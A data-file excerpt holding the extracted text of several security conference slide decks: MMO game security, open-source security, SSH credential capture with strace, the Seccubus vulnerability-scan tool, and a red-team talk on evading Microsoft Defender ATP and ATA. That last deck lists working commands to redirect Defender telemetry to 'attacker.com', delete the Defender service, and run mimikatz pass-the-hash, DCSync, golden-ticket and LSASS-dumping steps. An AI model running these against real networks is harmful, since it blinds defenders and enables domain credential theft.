Denial-\nof-Service Attacks In-Flight with FineLame,” USENIX, 2019.\n[4] H. van Wieren, “Signature-Based DDoS Attack Mitigation: Au-\ntomated Generating Rules for Extended Berkeley Packet Filter\nand Express Data Path,” 2019.\n[5] Y. Choe, J.-S. Shin, S. Lee, and J. Kim, “eBPF/XDP Based\nNetwork Traffic Visualization and DoS Mitigation for Intelligent\nService Protection,” in Advances in Internet, Data and Web\nTechnologies, Springer, 2020.\n[6] F. Iglesias, D. C. Ferreira, G. Vormayr, M. Bachl, and T. Zseby,\n“NTARC: A Data Model for the Systematic Review of Network\nTraffic Analysis Research,” Applied Sciences, Jan. 2020.\n[7] I. Sharafaldin, A. Habibi Lashkari, and A. A. Ghorbani, “Toward\nGenerating a New Intrusion Detection Dataset and Intrusion\nTraffic Characterization,” in ICISSP, SCITEPRESS, 2018.\n[8] A. Hartl, M. Bachl, J. Fabini, and T. Zseby, “Explainability\nand Adversarial Robustness for RNNs,” in BigDataService 2020,\nIEEE, Apr. 2020."},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":90,"cells":{"text":{"kind":"string","value":"O P E N S O U R C E FA I R Y D U S T\nJOHN MENERICK\nS E C U R I T Y \nD R A G O N @ \nN E T S U I T E\nT H E V I E W S A N D O P I N I O N S E X P R E S S E D H E R E A R E M Y O W N O N LY A N D I N N O WAY R E P R E S E N T T H E V I E W S , \nP O S I T I O N S O R O P I N I O N S - E X P R E S S E D O R I M P L I E D - O F M Y E M P L O Y E R ( P R E S E N T A N D PA S T ) O R A N Y O N E E L S E . \nM Y T H O U G H T S A N D O P I N I O N S C H A N G E F R O M T I M E T O T I M E ; T H I S I S A N AT U R A L O F F S H O O T O F H AV I N G A N \nO P E N A N D I N Q U I S I T I V E M I N D .\nWHAT WE ARE NOT TALKING ABOUT\nWHAT WE ARE TALKING ABOUT\nNO ONE SAID IT WAS SECURE\nEVERYBODY’S JOB IS NOBODY’S JOB\n“This is a story about four people named Everybody, Somebody, Anybody, and Nobody. \nThere was an important job to be done and Everybody was asked to do it. Everybody was \nsure Somebody would do it. Anybody could have done it, but Nobody did it. Somebody \ngot angry about that, because it was Everybody's job. Everybody thought Anybody could \ndo it but Nobody realized that Everybody wouldn't do it. \n!\nIt ended up that Everybody blamed Somebody when Nobody did what Anybody could \nhave done.”\nFinancial\nFun\nHobbyist\nActivist\n“ O P E N S O U R C E P R O J E C T S P L AY A C R U C I A L R O L E I N \nT H E D I G I TA L A G E B U T A R E M A I N TA I N E D B Y A S M A L L , \nS T R A I N E D C A D R E O F V O L U N T E E R S . ”\nFunctionality\nUsability\nPerformance\nSecurity\nStability\nCompliance\n” T H E R E A R E L O T S O F C R I T I C A L L I B R A R I E S M A I N TA I N E D \nB Y V O L U N T E E R S T H AT A R E N O T G I V E N E N O U G H \nAT T E N T I O N ”\n“The system must not require secrecy and can be stolen by the \nenemy without causing trouble.”\nC / C++\n!\n“MEMORY LIFECYCLE AND BOUNDARY \nMANAGEMENT IS A BITCH IN APPLICATION \nLOGIC”\nJAVA\n“IT IS NOT LIKE JAVA GOT INSECURE ALL OF A \nSUDDEN. IT HAS BEEN INSECURE FOR YEARS.”\nPHP\nPHP 0DAY FOR EVERYONE\nNO STRATEGY\nNO SECURITY CONTACT OR REPORTING DEFINED\nInconsistent coding styles, usage, or complex code\nTRENDING UPWARD VS LOW MATURITY\nCHANGE IS HARD\n”System administrators hate change when they have to bear the \nbrunt of adverse effects of change.”\nBUILDING BLOCKS OF THE INTERNET\nDEMOS\n(AND SO CAN YOU!)\nW H AT D O W E D O N O W ?\nWHAT IS YOUR INCENTIVE?\nFULL DISCLOSURE\nSTREET CRED\nLULZ\nOBSTACLES\nTOOLING\nTUNING AND CORRELATION\nDEMO\nAUTOMATION\n• hacktheplanet.ninja\nO N E M O R E \nT H I N G …\nVIM\nVIM 0DAY FOR EVERYONE"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":91,"cells":{"text":{"kind":"string","value":"Securing MMOs\nA Security Professional’s View From \nthe Inside\nWho Is This Guy?\n• Security industry professional\n– Years writing subversive software\n– Static analysis tools for C and Java\n• Former Senior Software Engineer at Bioware\nMythic\n• Pwned other games\n• Ran Defcon CTF & Quals for 4 years as part of \nKenshoto\nWhat This Talk Includes\n• Thoughts on what it's like to go from security \nto gaming\n• Stories on how bad it currently is\n• Some examples of hacks & tools in the wild\n• Some thoughts on how the games industry \ncan get better at security\n• Why it won’t get better any time soon\nWhat This Talk Doesn’t Include\n• 0-day\n• Release date for Star Wars: The Old Republic\n• Crappy clip-art\n• Shout-outs\nMaking the Jump\n• Alternate slide title: How I Learned to Stopped \nWorrying and Love the Shorts\n• Expectations\n– Coming from a world where crashes and vulns mean a \nbig deal\n– Going to a world where crashes are matter-of-course \nand extended downtime might elicit an apology on a \nforum\n– From a world of KB to a world of GB\n• No matter how much code you write, your binary will still be \nsmaller than the intro video\n• 30-60 minutes for compilation, 3-5 minutes for linking\nMaking the Jump\n• High Performance\n– 4000 simultaneous clients per \"shard\"\n– Under 100ms of latency\n– Dozens of commands per user per second\n– 4Hz target server frame speed\n• Low Speed\n– Much slower paced\n– Greater tendency for formal education\nChallenges of Security in an MMO\n• The Rest of the World\n– Most servers have well-defined, community-\nreviewed specs\n– Many are restricted to trusted users\n– Some are open-source and benefit from peer \nreview\nChallenges of Security in an MMO\n• Games\n– We define a spec as we go\n• Features are added, cut, change scope\n– We give a connection to anyone that asks\n• Often for free\n– We closely guard our code\n– All of this makes our lives harder\nChallenges of Security in an MMO\n• More sophisticated games breed more \nsophisticated hacks\n• Client-side security is always a losing battle\n– But you can have fun trying\n• It's an arms race\nMotivations of Cheats, Crashes & \nExploits\n• Financial gain\n– RMT\n– In-game currency\n• Griefing a captive audience\n• Getting an edge in the game\n• Extend the lifetime of a game by offering a \nnew type of challenge\n– This applies largely to recreational hackers\n– That’s us\nSecurity in the Gaming Industry\n• Security is still a new concept to those outside \nthe industry\n– Everyone's heard the term \"buffer overflow”\n– Few know how to prevent it in practice\nSecurity in the Gaming Industry\n• But we don't write vulnerabilities, we're \nprofessionals!\n– Knowledge of vulns isn’t the same as being able to \nspot them in your own code\n• People don't like to hear that they write less \nsecure code than IE\n• At least they don't use the word \"Cyber\" \nwithout referring to chat sex\nHack Types and Techniques\n• Blind scripting (a.k.a. macro'ing)\n– Easy to detect when things go awry and the bot\nfails miserably\n• Screen scraping & scripting (AutoIt)\n– Harder to detect, but also unreliable\n– Complex screens make scraping difficult\n• Memory analysis & modification\n– Sophisticated, but easier to detect\nHack Types and Techniques\n• Logic flaws\n– Item duplication\n– Race/state conditions\n• Classic exploitation\n– Buffer overflows\n– Numeric overflows\nHack Types and Techniques\n• Packet injection / sniffing\n– Useful for spotting events\n– Easily mitigated by introducing encryption on the \nline\n• Account theft\n– Phishing\n– Keyloggers\nBioware’s MMO Portfolio\n• Ultima Online\n– 12 years old\n• Dark Age of Camelot\n– 9 years old\n• Warhammer Online\n– 3 years old\n• Star Wars: The Old Republic\n– Shipping right after Duke Nukem Forever\nHow Bad Is It?\n• Herald web site hacked\n– Used to host viruses\n– Defense-in-depth saves the day\n– Boxes used to host forums had no access to back \nnetwork\nHow Bad Is It?\n• Legitimate command from the client\n– Bad parameter validation\n– Array index condition\n– Negative numbers would bring the server down\n– Fortunately, it was a GM-only command\nHow Bad Is It?\n• Remote, pre-auth vulnerabilities\n– memcpy(dest, message->data, message->len);\n– dest was a fixed size buffer \nHow Bad Is It?\n• Trial accounts\n– The majority of trial accounts belonged to \nspammers and gold sellers\n– 10% of trial accounts created in a 3-month period \nwere attributed to a single IP\n– Originating from: China\n– These accounts were then used for advertising \ngold-selling services\nHow Bad Is It?\n• Rash of players’ accounts being emptied\n– Accounts had been logged into once, months \nbefore they were victims from a Chinese IPs\n– This was most likely an inventory step\n– Assets were later liquidated and then gold \ntransferred 1,000,000 at a time to customers\n– No brute force attempts, so conclusion was \nkeylogging\nHow Bad Is It?\n• EVE Online Senior Producer “Oveur” says:\n– We don’t trust the client\n– Blizzard trusted their client, and look at the mess \nthey’re in\n• I guess that’s why I was able to puppet-master \ntheir client via Python injection\nIn the Wild\n• In the Wild: “AutoEVE”\n• Direct Python injection\n– Uses CCP’s own APIs\n– Has the distinct advantage of allowing application \nto be minimized\n• CCP is hiring security professionals\n– AutoEVE is a point of discussion\n– How to catch it and its ilk\nIn the Wild\n• In the Wild: “UO Made Easy”\n• Simple UO scripting tool\n– Used GetProcAddress to mask imports of \nRead/WriteProcessMemory\n– XOR’d the string name of imports\n– But then stored results in globals, making hooking \n& observation simple\n• Direct manipulation and reading of memory\nIn the Wild\n• In the Wild: \"Undetectable”\n– Developer claimed it was impossible for Mythic to \ndetect\n– Actually registered as a debugger\n– Engineers were able to monitor development of \nthe tool in real-time\n– They then proceeded to ban users of the tool, \nwhile the developer continued unscathed\nMitigation\n• Detection\n– Memory checksums\n– Timing\n– Anti-debugging measures\n– Cheat detection shouldn’t stop the cheat\n– Instead, notify developers\n• Agility and rapid response\n– Effective PR management\n– Quick patch turn-around\nMitigation\n• Write your own rootkit\n– Warden\n– Highly effective at catching known tools\n• Gameplay work-arounds for impossible \nproblems\n– Give the players radar\n• Psych warfare\n– Leaving developers of cheats/exploits alone\n– Nail their users instead\nWays to Improve\n• Automated analysis\n– PREfast\n– Other power-assist tools\n• Basic fuzzing and internal “red-teaming”\n• Education & Methods\n– Writing secure code\n– Can I at least get a decent threat model?\n• Balancing code quality and release time\n– Realize that large-scale hacks hurt the game\n– Alienate community\nWhy It Won’t Get Better\n• In quantifiable dollars, it is cheaper to react to \nexploits in use\n– Customer Service Reps restoring lost items/gold are \ncheaper than engineers sifting through code\n– There may not even be anything to find\n– Measuring true cost in reputation and lost players is \nmuch harder\n• It’s good press to ban cheaters\n– If you claim there are no cheaters, even if it’s true, no \none will believe it"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":92,"cells":{"text":{"kind":"string","value":"01\n02\n03\nMS Just Gave the Blue Team Tactical Nukes\n(And How Red Teams Need To Adapt)\n2\nIBM Security\nWhoami\n• @retBandit\n• Red Team Ops Lead at IBM X-Force Red\n• Part of CREST (crest-approved.org)\n• I like mountain biking, drones, and beer\n• Canadian, sorry not sorry\n3\nIBM Security\n4\nIBM Security\nTactical Nukes?\n5\nIBM Security\n6\nIBM Security\nTTP\nHost Recon\nGain a Foothold\nExternal Recon\nInternal Recon\nDominance\nLateral Movement\nExploit Vulnerabilities\nSpear Phishing\nSocial Engineering\nMalicious USB Media\nWireless\nPhysical\nHost Recon\nHost Controls/Logging Recon\nHost Controls Bypass\nTools Transfer\nShort-Term Persistence \nHost Privilege Escalation\nCredential Theft\nNetwork Recon\nDomain Recon\nAsset Recon\nAdmin Recon\nNetwork Security Recon\nPassive Information Gathering\nActive Information Gathering\nPort Scanning\nService Enumeration\nNetwork/App Vuln Identification\nEvade Network Security Controls\nLateral Movement\nNetwork Exploitation\nElevate Network Privileges\nGain Domain Admin\nGain Asset Admin\nSensitive Asset Access\nExfill Sensitive Data\nLong-Term Persistence\n7\nIBM Security\nWe’re Talking Post Breach\nSource: https://blogs.microsoft.com/microsoftsecure/2016/11/28/disrupting-the-kill-chain/\n8\nIBM Security\nThe Laboratory\n9\nIBM Security\nATP Overview\nSource: MS\n10\nIBM Security\nComing in Release 3\nDefender “brand” expanded to include:\n• Windows Defender Antivirus\n• Windows Defender Advanced Threat Protection \n• Windows Defender.... Exploit Guard \n• ... Application Guard \n• ... Device Guard \n• ... Credential Guard \n• More OS\nSource: https://blogs.windows.com/business/2017/06/27/announcing-end-end-security-features-windows-10/\nhttps://techcrunch.com/2017/06/08/microsoft-confirms-its-acquired-hexadite-sources-say-for-100m/\n11\nIBM Security\n12\nIBM Security\nGaining a Foothold\n13\nIBM Security\nGaining a Foothold w/ Out Of The Box PS Payloads\n14\nIBM Security\nObfuscated PS Payloads\n15\nIBM Security\nThey promised us freedom.\n16\nIBM Security\nBut delivered slavery.\n17\nIBM Security\nATP is a Beneficiary of WMF 5 / Win10 1703 Security Improvements\n• Window Management Framework (“PowerShell”) 5.1 provides:\n̶ PS Script Block Logging \n̶ PS Transaction/Transcription Logging\n̶ PS “Suspicious Strings” \n̶ PS Constrained Language Mode\n̶ Just Enough Admin (JEA) support \n• ATP leverages client-side AMSI detections for PowerShell, with \nimprovements for JavaScript & VBScript in RS3\n18\nIBM Security\nATP is a Beneficiary of WMF 5 / Win10 1703 Security Improvements\n• Can’t downgrade to PSv2 \n• System-wide transcripts\n• Common techniques leveraging WScript.Shell, \netc. are also caught.\n• Can’t just use NotPowerShell (NPS) or call \ndirectly as still forced to use WMF 5\n19\nIBM Security\nDefender ATP ≠ Defender AV\n20\nIBM Security\nSide note: Traditional Defender AV\nBy the time you read these tweets over your morning \ncoffee, your target’s Defender AV instances were \nalready patched...\n21\nIBM Security\nNot Detected: Misc. Techniques to Gain Initial Foothold\n• Obfuscated JScript/VBscript payloads that don’t use Kernel32 API \ndeclarations (such as @vysecurity’s CACTUSTORCH) \n• Using signed exec’s to load a Cobalt stageless DNS-based reverse \npayload, i.e.; “rundll32 foo.dll,Start”\n• Some executables created with Veil (go-based) and Shellter\nhttps://www.mdsec.co.uk/2017/07/payload-generation-with-cactustorch/\nhttps://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html\nhttps://github.com/nccgroup/winpayloads\n22\nIBM Security\nRemember, we’re talking POST Breach\n23\nIBM Security\nHost Recon\necho %userdomain%\necho %logonserver%\necho %homepath%\necho %homedrive%\nnet share\nnet accounts\nsysteminfo\ntasklist /svc\ngpresult /z\nnet localgroup Administrators\nnetsh advfirewall show allprofiles state\nsysteminfo\n$env:ComSpec\n$env:USERNAME\n$env:USERDOMAIN\n$env:LOGONSERVER\nTree $home \n24\nIBM Security\nNot Detected: WMI\nwmic process list brief\nwmic group list brief\nwmic computersystem list \nwmic process list /format:list\nwmic ntdomain list /format:list\nwmic useraccount list /format:list\nwmic group list /format:list\nwmic sysaccount list /format:list\nwmic /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get *\nGet-WmiObject -Class Win32_UserAccount -Filter \"LocalAccount='True’”\n25\nIBM Security\nNot Detected: Host Recon Directly Using Windows API’s\n• Host-only info gathering directly calling Window’s APIs through \nraw sockets, Metasploit railgun, etc. \n• Use MSF modules with (local) API calls, such as \nfile_from_raw_ntfs.rb\n• Don’t use MSF modules like local_admin_search_enum.rb\n• CobaltStrike has a number of modules that are API-only\n26\nIBM Security\nCan’t stop ATP process, service, etc., even if running as system\n27\nIBM Security\nUninstalling\n• Unlike other PSP/cloud AV products like CrowdStrike, you can’t just uninstall them from an elevated \ncommand prompt.\nwmic product where \"description='CrowdStrike Sensor Platform’” Uninstall\n• ATP requires a generated offboarding script with a SHA256 signed reg key:\n28\nIBM Security\n“Protected Process Light”\n29\nIBM Security\nPPL Bypass\n• Defender AV service can be stopped/deleted via Project0’s privileged \nAntimalware PPL bypass:\nsc config TrustedInstaller binPath= \"cmd.exe /C sc stop \nwindefend && sc delete windefend\" && sc start \nTrustedInstaller\n• ... since RS2, ATP runs now at a Windows PPL protection level instead of a \nAntiMalware PPL, and the process is configured as “NOT_STOPPABLE”\n30\nIBM Security\n• The ATP sensor communicates using \nWindows Telemetry (DiagTrack service) \n• Telemetry in turn uses WinHTTP Services\n• The WinHTTP API is independent of \nWinINet browser proxy settings\nTelemetry & Cloud Comms\n• However, it will follow statically set proxy \nsettings within HKCU\n31\nIBM Security\nBlock ATP Comms as an Unprivileged User\nreg add \n\"HKCU\\Software\\Microsoft\\Windows\\\nCurrentVersion\\Internet Settings\" ^ /v \nAutoDetect /t REG_DWORD /d 0 /f\nreg add \n\"HKCU\\Software\\Microsoft\\Windows\\\nCurrentVersion\\Internet Settings\" /v \nAutoConfigURL /t REG_SZ /d \n\"http://attacker.com/wpad.dat\" /f\n32\nIBM Security\nBlock ATP Comms via DiagTrack Service (Privileged)\n• While we can’t stop the ATP Sense service as it’s running a Windows PPL \nprotected process, Diagtrack is not a PPL:\n33\nIBM Security\nBlock All Windows Defender/ATP Comms via FW (Privileged)\nYou can use the same (privileged) technique to block in/out traffic for WinRM, \nSysmon via Windows Event Forwarding, SCOM, etc.\n34\nIBM Security\nWhy Block Instead Of Disabling?\n35\nIBM Security\nAdvanced Threat Analytics\n“ATA captures and parses network traffic of multiple protocols (such as Kerberos, \nDNS, RPC, NTLM and others) for authentication, authorization and information \ngathering.” \nDesigned to Detect:\nhttps://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata\n• Pass-the-Ticket (PtT)\n• Pass-the-Hash (PtH)\n• Overpass-the-Hash\n• Forged PAC (MS14-068)\n• Golden Ticket\n• Malicious replications\n• Reconnaissance\n• Brute force\n• Remote execution\n• Weak/malicious protocol usage\n• Abnormal user behavior\n• Modification of sensitive groups\n36\nIBM Security\nATA Architecture\n• ATA relies on the following Windows events: \n4776, 4732, 4733, 4728, 4729, 4756, 4757\n37\nIBM Security\n38\nIBM Security\n39\nIBM Security\nATA Learning Period\n1 month of learning:\n• Abnormal behavior\n• Abnormal sensitive group modification\n• Recon using Directory Services\n1 week of learning:\n• Encryption downgrades (skeleton key, golden ticket, over pass the hash)\n• Brute force\n40\nIBM Security\nInternal Recon\n41\nIBM Security\nDetected: Bulk DNS queries, nslookup, zone transfers\n42\nIBM Security\nDetected*: AD Recon using SAMR protocol or tools like “net user /domain”\n43\nIBM Security\nNot Detected: Using LDAP/Powerview To Gather Computers/Users\n44\nIBM Security\nNot Detected: Enumeration via WMI Local Name Space\nDomain User Accounts:\nGet-WmiObject -Class Win32_UserAccount -Filter \"Domain='dev' AND \nDisabled='False'\" | Select Name, Domain, Status, LocalAccount, \nAccountType, Lockout, PasswordRequired, PasswordChangeable, \nDescription, SID\nDomain Groups:\nGet-CimInstance -ClassName Win32_Group -Filter \"Domain = 'dev' AND \nName like '%Admin%’”\n45\nIBM Security\nNot Detected: Enumeration via WMI Local Name Space (Cont’d)\nDomain Group User Memberships:\nGet-CimInstance -ClassName Win32_Group -Filter \"Domain = 'dev' \nAND Name='Enterprise Admins'\" | Get-CimAssociatedInstance -\nAssociation Win32_GroupUser\nGet-CimInstance -ClassName Win32_Group -Filter \"Domain = 'dev' \nAND Name='Microsoft Advanced Threat Analytics Administrator'\" | \nGet-CimAssociatedInstance -Association Win32_GroupUser\n46\nIBM Security\nDetected: Default Session Enumeration via UserHunter, NetSess\n47\nIBM Security\nNot Detected: Session Enumeration By Excluding DC’s\n48\nIBM Security\nLateral Movement\n49\nIBM Security\nDetection (ATA): Lateral Movement\nUsually detected (against DC’s only):\n• WMIexec\n• PSexec\nMay be detected due to “abnormal user behavior” against domain members:\n• WMIexec\n• PSexec\n• WinRM\n• DCOM\n• PSexec/SMBexec\n• RDP\n• Remote Registry\n• PSRemoting/WinRM\n50\nIBM Security\nDetected: Over-Pass-The-Hash (Using KRBTGT NTLM Hash)\n51\nIBM Security\nNot Detected: Over-Pass-The-Hash (Using All Hash/Keys)\nsekurlsa::pth /user:administrator /domain:prod.local\n/aes256:12d23a766f9bac2a6e31b3afbd4f41a2d49b336b76f1edbe3d8b2fa9c9848d4\n/ntlm:4c4715b4028d7aba53130d0db3de13fe \n/aes128: 00000000000000000000000000000000\n52\nIBM Security\nNot Detected: Silver Tickets\n• While a Golden ticket is a forged TGT valid for gaining access to \nany Kerberos service, the silver ticket is a forged TGS. \n• TGS is forged, so no associated TGT, meaning the DC is never \ncontacted.\n• Any event logs are on the targeted server.\nSource: blatant copy & paste from Sean Metcalf- https://adsecurity.org/?p=2011\n53\nIBM Security\nNot Detected: Lateral Movement via SQL Auth\n• SQL authentication events are local to the server\n• Target sa accounts, compromise SQL servers that have privileged \nAD user sessions using tools like PowerUpSQL\n• Cross-Forest SQL trusts can also be targeted as demonstrated by \nNikhil- http://www.labofapenetrationtester.com/2017/03/using-sql-\nserver-for-attacking-forest-trust.html\n54\nIBM Security\nDominance\n55\nIBM Security\nDetected (ATA): DCSync\nmimikatz # lsadump::dcsync /domain prod.local /user:admin\n56\nIBM Security\nPartial Detection: Copying NTDS.dit File Remotely using WMI\n• We can use the WMI Win32_ShadowCopy Class to dump the ntds.dit via \nvolume shadow copies without having to call vssadmin.exe\n• Now flagged as a LOW severity event in ATA 1.8 due to executing \nWin32_process create, but not for the use of volume shadow copy:\n57\nIBM Security\nNot Detected*: PSRemoting with LSASS Inject\n• PowerSploit: Mimikatz in memory w/ LSASS Injection\nInvoke-Mimikatz -Command '\"privilege::debug\" \n\"LSADump::LSA /inject\"' -Computer dc03.prod.local\nBlue Tip: Lots of ways to harden/log WinRM/PSRemoting, restrict via \ngroups/source, etc.\n58\nIBM Security\nNot Detected*: PSRemoting with Raw Disk Access\n• PowerSploit: Ninja-Copy\nInvoke-NinjaCopy -Path \n\"c:\\Windows\\System32\\config\\SYSTEM\" -ComputerName\n\"dc03.prod.local\" -LocalDestination \"c:\\temp\\system“\nBlue Tip: You can detect LSASS injection/raw disk access with \nSysmon\n59\nIBM Security\nDetected: Golden Tickets Detection (Using KRBTGT NTLM Hash)\nkerberos::golden /user:EdwardAbbey /domain:prod.local\n/sid:sid /krbtgt:rc4 /groups:513,512,520,518,519 /ptt\n60\nIBM Security\nNot Detected: Golden Ticket w/ AES Key\nkerberos::golden /user:JohnVanwagoner\n/domain:prod.local /sid:sid /aes256:aes256\n/groups:512,513,519 /startoffset:-1 /endin:2500 \n/renewmax:3000 /ptt\n61\nIBM Security\nBlue Team Takeaways\n• Limit PS Remoting sources to dedicated admin workstations\n• Use JEA (Just Enough Administration) to prevent lateral \nmovement success\n• Harden SQL servers, review forest trusts\n• Integrate SIEM/VPN logs into ATA\n• Use Event Log Forwarding for sysmon and WMI logging with \nshorter polling times\n• Integrate all those new Defender branded tools like Exploit Guard\n62\nIBM Security\nRed Team Takeaways\n• Return to living off the land, directly call APIs\n• Leverage host based PowerShell tools only after you’ve blocked \nor disabled ATP & event log forwarding\n• Review RDP/PS/Session history to help avoid user behavior \nanalytics\n• Block event log forwarding to prevent Sysmon/WMI/PowerShell/ \nSecurity logs giving you away\n• Focus on info gathering and lateral movement techniques that \ndon’t comm with the DC, like SQL auth and Silver Tickets\n• Use AES for Over-PTH, Golden Tickets\n• Abuse Forest Trusts\n63\nIBM Security\nBig Thanks / Sources\n• @angus_tx, @nosteve, @swordgardctf, and the rest of the IBM X-Force Red \ncrew- we’re hiring!\n• The MS ATA/ATP team\n• Tools, techniques, assistance and research by: @PyroTek3,@cobbr_io, \n@mattifestation, @danielhbohannon, @nikhil_mitt, @mubix, @JosephBialek, \n@kevin_Robertson, @subTee, @0xbadjuju, @_nullbind, @gentilkiwi, \n@armitagehacker, @alastairgray, @harmj0y, @JershMagersh, @vysecurity, \n@cybera, @passingthehash and many others in the community\n• @simonstalenhag for permission to use his art"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":93,"cells":{"text":{"kind":"string","value":"1\nstrace抓取ssh登录凭证的问题\n起因是在p⽜的知识星球⾥有师傅提问到这个问题：\n关于https://xz.aliyun.com/t/7698⼀⽂中提到的⽤strace抓取ssh密码的⽅法。以前看到有⼈提到抓密\n码可以但是抓私钥不能登录这个问题，但是也没做实验，只是简单的以为是抓取的私钥不完整之类，没有\n深究。后来⼀个师傅提到这个私钥根本不是⽤来登录的，所以就研究了⼀下。\n因为ssh中⽤密码登录的时候，虽然传来的请求会通过公钥加密，但是在服务端对密码有⼀个解密过程，如\n下图所示。\n所以在服务端是有可能抓到密码的。\n为什么能抓到密码\n为什么抓不到密钥\n2\n⽤密钥登录的时候，服务端会⽣成⼀个随机的字符串，然后⽤公钥加密这个字符串发给客户端，然后客户\n端解密，最后服务端再去对⽐客户端解密的结果是否正确。下图仅作为说明，细节不⼀定完全符合。\n这个过程中根本不存在客户端的私钥传递的过程，所以是不可能抓到登录私钥的。\n总结就是，可以抓密码，抓不到私钥。"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":94,"cells":{"text":{"kind":"string","value":"Seccubus\nAnalyzing vulnerability assessment data the easy way…\nWho am I?\nFrank Breedijk\n»\nSecurity Engineer at Schuberg Philis\n»\nAuthor of Seccubus\n»\nBlogger for CupFigther.net\nEmail: \nfbreedijk@schubergphilis.com\nTwitter:\n@Seccubus\nBlog:\nhttp://cupfighter.net\nProject:\nhttp://www.seccubus.com\nCompany:\nhttp://www.schubergphilis.com\nPhoto taken by Arthur van Schendel\nA story about two guys…\nThese and all non-attributed photos of \nFrank Breedijk are taken by Jan Jacob Bos\nC. Lueless\nB. Rightlad\nMission: Perform a weekly vulnerability \nscan of all our public IP addresses \nC. Lueless…\nDecides to use a regular vulnerability scanner…\n…needs to get up very early\n…manually starts his scan and waits…\n…finishes the scan and goes back to sleep…\n… and analyzes the report in the morning\nB. Rightlad\nUses Seccubus…\n… he spends the morning configuring Seccubus…\n… goes home …\n... Relaxes …\n… the scanning happens at night …\nImage: Orion's Umbra, a Creative Commons Attribution Non-\nCommercial (2.0) image from jahdakinebrah's photostream\n… and when he wakes up …\n… he can analyze the findings and remediate\nProblem description\n»\nNessus is a very powerful vulnerability scanner\n»\n‘Free’ (As in beer) TCP/IP security scanner\n»\nBest valued security scanner (sectools.org survey of 2000, 2003 and 2006)\n»\nNessus generates a lot of output. Maybe too much?\n»\nScanning takes a lot of time and is not automated\n»\nA lot of time is spent on analysis\n»\nNessus GUI is not great for analyzing scans\n»\nWork risk ratio\nWhat is Seccubus…\n»\nSeccubus is a wrapper around vulnerability scanners\n»\nGUI is geared towards analyzing and “ticking-off” findings that have been seen\n»\nCompares consecutive scans\n»\nSupports multiple scanners:\n•\nNessus\n•\nOpenVAS\n•\nNikto\n•\nMore to follow\nWhat does Seccubus do differently?\nScanning is started from the command line\n»\nThis means it can be started from cron\nThe findings are stored in a “database”\n»\nCurrently the database is a directory structure\nPresentation via a WebGUI\n»\nEasy triage via filtering\n»\nStatus allows you to “tick-off” findings\nWhat happened under the hood?\nThe Nessus client was started via the command line.\nResults where saved as:\n»\nHTML\n»\nXML (No longer supported as of Nessus 4.x)\n»\nNBE\nA Seccubus scan…\nLet us commence to week two\nImage: 1/365, a Creative Commons Attribution Non-Commercial \nNo-Derivative-Works (2.0) image from cubedude27's photostream\nC. Lueless…\nDecides to use a regular vulnerability scanner…\n…needs to get up very early\n…manually starts his scan and waits…\n…finishes the scan and goes back to sleep…\n… and analyzes the report in the morning\nWould the effort be worth it?\nImages taken from http://www.art-games.co.uk\nWeek 1\nWeek 2\nSpot the differences…\nB. Rightlad\nUses Seccubus…\n… the scan is scheduled, he can simply go home …\n... relax …\n… the scanning happens at night …\nImage: Half Moon, a Creative Commons Attribution Non-Commercial \nNo-Derivative-Works (2.0) image from za3tooor's photostream\n… and when he wakes up …\n… he can analyze the findings and remediate\nNessus backend (.NBE) format\nSimpel format\n<type> | <netwerk> | <ip> | <port> | <plugin ID> | <prio> | <plugin output>\nFindings have all fields populated, e.g.:\n»\nresults|192.168.157|192.168.157.30|ntp (123/udp)|10884|Security Note|\\nSynopsis :\\n\\nAn NTP \nserver is listening…\nFor open ports, only the first four fields are populated, e.g.:\n»\nresults|192.168.157|192.168.157.20|ssh (22/tcp)\nFindings are converted to a directory structure\nFindings\n»\nHost\n•\nPort\n–\nPluginid (Portscanner voor open port)\n·\nRemark – Text entered via web GUI\n·\nStatus - The status given in the web GUI\n·\nYYYYMMDDhhmmss\nThis tree structure can be easily used to compare consecutive scans\nIt’s all about status...\nAssigned by Seccubus\nNEW\nFound for the first time\nCHANGED\nOutput has changed\nGONE\nNot found anymore\nAssigned by the User\nOPEN\nRisk\nNO ISSUE\nNo risk\nFIXED\nShould not trigger again\nHARD MASKED\nIgnore this\nHard masked, Gone, Fixed, etc...\nHARD MASKED\nWill be ignored\nGONE / FIXED\nKeeps its status untill found again\nOPEN / NO ISSUE\nKeeps its status untill output changes\nCHANGED\nWas NO ISSUE or OPEN, but output changed\nNEW\nWas GONE or FIXED, but reappeared\n...WHY MAKE A FUZZ?\nIF IT IS OK, IT IS OK\nThe scanning cycle...\n(re-)Scan\nCompare\nAssign status:\n• New\n• Changed\n• Gone\nAssess\n• Issue/No Issue\n• Solved\nThe delta engine at work\nLet us commence to week three\nImage: Cosas hechas, a Creative Commons Attribution \nNon-Commercial (2.0) image from srgblog's photostream\nC. Lueless…\nDecides to use a regular vulnerability scanner…\n…needs to get up very early\n…manually starts his scan and waits…\n…finishes the scan and goes back to sleep…\n… and analyzes the report in the morning\nB. Rightlad\nUses Seccubus…\n… the scan is scheduled, he can simply go home …\n... relax …\n… the scanning happens at night …\nImage: Himalayan Moonrise, a Creative Commons Attribution Non-\nCommercial No-Derivative-Works (2.0) image from swamysk's photostream\n… and when he wakes up …\n… he can analyze the findings and remediate\nThat’s in a name?\nSuccubus\nIn seccubus\nSeccubus\nJust to show you…\nSeccubus at Schuberg Philis\nSchuberg Philis is a high end provider of managed services for Mission Critical applicaiton\ninfrastructure\nSecurity is key...\nWe focus exclusively on the applications that businesses rely on 24 hours a day, guaranteeing 100% \nuptime; a focus that we feel is instrumental in providing \nhigh-quality services\nOur customer profile\n»\nLarge sized to medium enterprises \n»\nOperating in regulated markets\n»\nStrong focus on governance and change/risk management \n»\nBalance between control, flexibility and innovation\n»\nAugmenting corporate IT shared service centers or specific business unit as a specialist\n»\nApplication partnership with critical application vendors\n»\nRabobank, ING, ABN Amro, Energy Trading Floors, Deloitte, Bol.com...\nSchuberg Philis; some scan statistics\nScans all external IP addresses of all customers it manages monthly\nFirst scan: 28 August 2007\nInfrastructures converge to 0 findings\n# IP addresses on 4 February 2009: 4038\n# Nessus findings January 2009: 8777\nMission Impossible without Seccubus\nOther references\nSoleus\n»\nCommunity provider of virtual private 